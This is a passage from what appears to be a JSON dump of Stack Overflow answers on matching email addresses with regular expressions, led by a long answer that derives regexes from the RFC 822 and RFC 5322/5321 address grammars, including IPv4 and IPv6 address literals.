"author_id": 942671,
"author_profile": "https://Stackoverflow.com/users/942671",
"pm_score": 7,
"selected": false,
"text": "([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?(\\.[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?)+ \"\"@[] addr-spec jdoe@example.org \"John Doe\"<jdoe@example.org> some-group:jdoe@example.org,mrx@exampel.org; first. last (comment) @ [3.5.7.9] first.last@[3.5.7.9] ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*\")(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*\"))*@([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*])(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*]))* CHAR = <any ASCII character>\n =~ .\n\nCTL = <any ASCII control character and DEL>\n =~ [\\x00-\\x1F\\x7F]\n\nCR = <ASCII CR, carriage return>\n =~ \\r\n\nLF = <ASCII LF, linefeed>\n =~ \\n\n\nSPACE = <ASCII SP, space>\n =~ \n\nHTAB = <ASCII HT, horizontal-tab>\n =~ \\t\n\n<\"> = <ASCII quote mark>\n =~ \"\n\nCRLF = CR LF\n =~ \\r\\n\n\nLWSP-char = SPACE / HTAB\n =~ [ \\t]\n\nlinear-white-space = 1*([CRLF] LWSP-char)\n =~ ((\\r\\n)?[ \\t])+\n\nspecials = \"(\" / \")\" / \"<\" / \">\" / \"@\" / \",\" / \";\" / \":\" / \"\\\" / <\"> / \".\" / \"[\" / \"]\"\n =~ [][()<>@,;:\\\\\".]\n\nquoted-pair = \"\\\" CHAR\n =~ \\\\.\n\nqtext = <any CHAR excepting <\">, \"\\\" & CR, and including linear-white-space>\n =~ [^\"\\\\\\r]|((\\r\\n)?[ \\t])+\n\ndtext = <any CHAR excluding \"[\", \"]\", \"\\\" & CR, & including linear-white-space>\n =~ [^][\\\\\\r]|((\\r\\n)?[ \\t])+\n\nquoted-string = <\"> *(qtext|quoted-pair) <\">\n =~ \"([^\"\\\\\\r]|((\\r\\n)?[ \\t])|\\\\.)*\"\n(erratum) =~ \"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\"\n\ndomain-literal = \"[\" *(dtext|quoted-pair) \"]\"\n =~ \\[([^][\\\\\\r]|((\\r\\n)?[ \\t])|\\\\.)*]\n(erratum) =~ \\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*]\n\natom = 1*<any CHAR except specials, SPACE and CTLs>\n =~ [^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+\n\nword = atom / quoted-string\n =~ [^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\"\n\ndomain-ref = atom\n\nsub-domain = domain-ref / domain-literal\n =~ [^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*]\n\nlocal-part = word *(\".\" word)\n =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\")(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\"))*\n(opt-lwsp) =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\")(((\\r\\n)?[ \\t])*\\.((\\r\\n)?[ \\t])*([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\"))*\n\ndomain = sub-domain *(\".\" sub-domain)\n =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*])(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*]))*\n(opt-lwsp) =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*])(((\\r\\n)?[ \\t])*\\.((\\r\\n)?[ \\t])*([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*]))*\n\naddr-spec = local-part \"@\" domain\n =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\")(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\"))*@([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*])(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*]))*\n(opt-lwsp) =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\")((\\r\\n)?[ \\t])*(\\.((\\r\\n)?[ \\t])*([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*\")((\\r\\n)?[ \\t])*)*@((\\r\\n)?[ \\t])*([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*])(((\\r\\n)?[ \\t])*\\.((\\r\\n)?[ \\t])*([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]|(\\r\\n)?[ \\t]))*(\\\\\\r)*]))*\n(canonical) =~ ([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*\")(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\"(\\n|(\\\\\\r)*([^\"\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*\"))*@([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*])(\\.([^][()<>@,;:\\\\\". \\x00-\\x1F\\x7F]+|\\[(\\n|(\\\\\\r)*([^][\\\\\\r\\n]|\\\\[^\\r]))*(\\\\\\r)*]))*\n ([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\\[[\\t -Z^-~]*]) VCHAR = %x21-7E\n =~ [!-~]\n\nALPHA = %x41-5A / %x61-7A\n =~ [A-Za-z]\n\nDIGIT = %x30-39\n =~ [0-9]\n\nHTAB = %x09\n =~ \\t\n\nCR = %x0D\n =~ \\r\n\nLF = %x0A\n =~ \\n\n\nSP = %x20\n =~ \n\nDQUOTE = %x22\n =~ \"\n\nCRLF = CR LF\n =~ \\r\\n\n\nWSP = SP / HTAB\n =~ [\\t ]\n\nquoted-pair = \"\\\" (VCHAR / WSP)\n =~ \\\\[\\t -~]\n\nFWS = ([*WSP CRLF] 1*WSP)\n =~ ([\\t ]*\\r\\n)?[\\t ]+\n\nctext = %d33-39 / %d42-91 / %d93-126\n =~ []!-'*-[^-~]\n\n(\"comment\" is left out in the regex)\nccontent = ctext / quoted-pair / comment\n =~ []!-'*-[^-~]|(\\\\[\\t -~])\n\n(not regular)\ncomment = \"(\" *([FWS] ccontent) [FWS] \")\"\n\n(is equivalent to FWS when leaving out comments)\nCFWS = (1*([FWS] comment) [FWS]) / FWS\n =~ ([\\t ]*\\r\\n)?[\\t ]+\n\natext = ALPHA / DIGIT / \"!\" / \"#\" / \"$\" / \"%\" / \"&\" / \"'\" / \"*\" / \"+\" / \"-\" / \"/\" / \"=\" / \"?\" / \"^\" / \"_\" / \"`\" / \"{\" / \"|\" / \"}\" / \"~\"\n =~ [-!#-'*+/-9=?A-Z^-~]\n\ndot-atom-text = 1*atext *(\".\" 1*atext)\n =~ [-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*\n\ndot-atom = [CFWS] dot-atom-text [CFWS]\n =~ (([\\t ]*\\r\\n)?[\\t ]+)?[-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*(([\\t ]*\\r\\n)?[\\t ]+)?\n(normalized) =~ [-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*\n\nqtext = %d33 / %d35-91 / %d93-126\n =~ []!#-[^-~]\n\nqcontent = qtext / quoted-pair\n =~ []!#-[^-~]|(\\\\[\\t -~])\n\n(erratum)\nquoted-string = [CFWS] DQUOTE ((1*([FWS] qcontent) [FWS]) / FWS) DQUOTE [CFWS]\n =~ (([\\t ]*\\r\\n)?[\\t ]+)?\"(((([\\t ]*\\r\\n)?[\\t ]+)?([]!#-[^-~]|(\\\\[\\t -~])))+(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?)\"(([\\t ]*\\r\\n)?[\\t ]+)?\n(normalized) =~ \"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\"\n\ndtext = %d33-90 / %d94-126\n =~ [!-Z^-~]\n\ndomain-literal = [CFWS] \"[\" *([FWS] dtext) [FWS] \"]\" [CFWS]\n =~ (([\\t ]*\\r\\n)?[\\t ]+)?\\[((([\\t ]*\\r\\n)?[\\t ]+)?[!-Z^-~])*(([\\t ]*\\r\\n)?[\\t ]+)?](([\\t ]*\\r\\n)?[\\t ]+)?\n(normalized) =~ \\[[\\t -Z^-~]*]\n\nlocal-part = dot-atom / quoted-string\n =~ (([\\t ]*\\r\\n)?[\\t ]+)?[-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?\"(((([\\t ]*\\r\\n)?[\\t ]+)?([]!#-[^-~]|(\\\\[\\t -~])))+(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?)\"(([\\t ]*\\r\\n)?[\\t ]+)?\n(normalized) =~ [-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\"\n\ndomain = dot-atom / domain-literal\n =~ (([\\t ]*\\r\\n)?[\\t ]+)?[-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?\\[((([\\t ]*\\r\\n)?[\\t ]+)?[!-Z^-~])*(([\\t ]*\\r\\n)?[\\t ]+)?](([\\t ]*\\r\\n)?[\\t ]+)?\n(normalized) =~ [-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\\[[\\t -Z^-~]*]\n\naddr-spec = local-part \"@\" domain\n =~ ((([\\t ]*\\r\\n)?[\\t ]+)?[-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?\"(((([\\t ]*\\r\\n)?[\\t ]+)?([]!#-[^-~]|(\\\\[\\t -~])))+(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?)\"(([\\t ]*\\r\\n)?[\\t ]+)?)@((([\\t ]*\\r\\n)?[\\t ]+)?[-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*(([\\t ]*\\r\\n)?[\\t ]+)?|(([\\t ]*\\r\\n)?[\\t ]+)?\\[((([\\t ]*\\r\\n)?[\\t ]+)?[!-Z^-~])*(([\\t ]*\\r\\n)?[\\t ]+)?](([\\t ]*\\r\\n)?[\\t ]+)?)\n(normalized) =~ ([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\\[[\\t -Z^-~]*])\n a..b@example.net \"a..b\"@example.net ([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@([0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?(\\.[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?)*|\\[((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}|IPv6:((((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){6}|::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){5}|[0-9A-Fa-f]{0,4}::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){4}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):)?(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){3}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,2}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){2}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,3}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,4}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,5}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,6}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)|(?!IPv6:)[0-9A-Za-z-]*[0-9A-Za-z]:[!-Z^-~]+)]) (?!IPv6:) |(?!IPv6:)[0-9A-Za-z-]*[0-9A-Za-z]:[!-Z^-~]+ Let-dig = ALPHA / DIGIT\n =~ [0-9A-Za-z]\n\nLdh-str = *( ALPHA / DIGIT / \"-\" ) Let-dig\n =~ [0-9A-Za-z-]*[0-9A-Za-z]\n\n(regex is updated to make sure sub-domains are max. 63 characters long - RFC 1034 section 3.5)\nsub-domain = Let-dig [Ldh-str]\n =~ [0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?\n\nDomain = sub-domain *(\".\" sub-domain)\n =~ [0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?(\\.[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?)*\n\nSnum = 1*3DIGIT\n =~ [0-9]{1,3}\n\n(suggested replacement for \"Snum\")\nip4-octet = DIGIT / %x31-39 DIGIT / \"1\" 2DIGIT / \"2\" %x30-34 DIGIT / \"25\" %x30-35\n =~ 25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9]\n\nIPv4-address-literal = Snum 3(\".\" Snum)\n =~ [0-9]{1,3}(\\.[0-9]{1,3}){3}\n\n(suggested replacement for \"IPv4-address-literal\")\nip4-address = ip4-octet 3(\".\" ip4-octet)\n =~ (25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}\n\n(suggested replacement for \"IPv6-hex\")\nip6-h16 = \"0\" / ( (%x49-57 / %x65-70 /%x97-102) 0*3(%x48-57 / %x65-70 /%x97-102) )\n =~ 0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}\n\n(not from RFC)\nls32 = ip6-h16 \":\" ip6-h16 / ip4-address\n =~ (0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}\n\n(suggested replacement of \"IPv6-addr\")\nip6-address = 6(ip6-h16 \":\") ls32\n / \"::\" 5(ip6-h16 \":\") ls32\n / [ ip6-h16 ] \"::\" 4(ip6-h16 \":\") ls32\n / [ *1(ip6-h16 \":\") ip6-h16 ] \"::\" 3(ip6-h16 \":\") ls32\n / [ *2(ip6-h16 \":\") ip6-h16 ] \"::\" 2(ip6-h16 \":\") ls32\n / [ *3(ip6-h16 \":\") ip6-h16 ] \"::\" ip6-h16 \":\" ls32\n / [ *4(ip6-h16 \":\") ip6-h16 ] \"::\" ls32\n / [ *5(ip6-h16 \":\") ip6-h16 ] \"::\" ip6-h16\n / [ *6(ip6-h16 \":\") ip6-h16 ] \"::\"\n =~ (((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){6}|::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){5}|[0-9A-Fa-f]{0,4}::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){4}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):)?(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){3}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,2}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){2}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,3}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,4}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,5}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,6}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::\n\nIPv6-address-literal = \"IPv6:\" ip6-address\n =~ IPv6:((((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){6}|::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){5}|[0-9A-Fa-f]{0,4}::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){4}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):)?(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){3}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,2}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){2}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,3}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,4}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,5}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,6}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)\n\nStandardized-tag = Ldh-str\n =~ [0-9A-Za-z-]*[0-9A-Za-z]\n\ndcontent = %d33-90 / %d94-126\n =~ [!-Z^-~]\n\nGeneral-address-literal = Standardized-tag \":\" 1*dcontent\n =~ [0-9A-Za-z-]*[0-9A-Za-z]:[!-Z^-~]+\n\naddress-literal = \"[\" ( IPv4-address-literal / IPv6-address-literal / General-address-literal ) \"]\"\n =~ \\[((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}|IPv6:((((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){6}|::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){5}|[0-9A-Fa-f]{0,4}::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){4}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):)?(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){3}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,2}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){2}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,3}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,4}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,5}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,6}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)|(?!IPv6:)[0-9A-Za-z-]*[0-9A-Za-z]:[!-Z^-~]+)]\n\nMailbox = Local-part \"@\" ( Domain / address-literal )\n =~ ([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@([0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?(\\.[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?)*|\\[((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}|IPv6:((((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){6}|::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){5}|[0-9A-Fa-f]{0,4}::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){4}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):)?(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){3}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,2}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){2}|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,3}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,4}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(\\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,5}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3})|(((0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}):){0,6}(0|[1-9A-Fa-f][0-9A-Fa-f]{0,3}))?::)|(?!IPv6:)[0-9A-Za-z-]*[0-9A-Za-z]:[!-Z^-~]+)])\n ([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?(\\.[0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?)+ \"a..b\"@example.net \"a b\"@example.net [a-z]{2,4} ([-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*|\"([]!#-[^-~ \\t]|(\\\\[\\t -~]))+\")@([0-9A-Za-z]([0-9A-Za-z-]{0,61}[0-9A-Za-z])?\\.)*(net|org|com|info| )"
},
{
"answer_id": 14102027,
"author": "Mohit Gupta",
"author_id": 1264203,
"author_profile": "https://Stackoverflow.com/users/1264203",
"pm_score": 2,
"selected": false,
"text": "/^([a-z0-9_-]+)(@[a-z0-9-]+)(\\.[a-z]+|\\.[a-z]+\\.[a-z]+)?$/is\n"
},
{
"answer_id": 14321045,
"author": "FLY",
"author_id": 286143,
"author_profile": "https://Stackoverflow.com/users/286143",
"pm_score": 2,
"selected": false,
"text": "[\\w+-]+(?:\\.[\\w+-]+)*@[\\w+-]+(?:\\.[\\w+-]+)*(?:\\.[a-zA-Z]{2,4})\n [\\w+-]+ (?:\\.[\\w+-]+)* @ @ [\\w+-]+ (?:\\.[\\w+-]+)* (?:\\.[a-zA-Z]{2,4}) e(.m)@i(.l).com (.m) (.l) +@-.com"
},
{
"answer_id": 14401049,
"author": "Cees Timmerman",
"author_id": 819417,
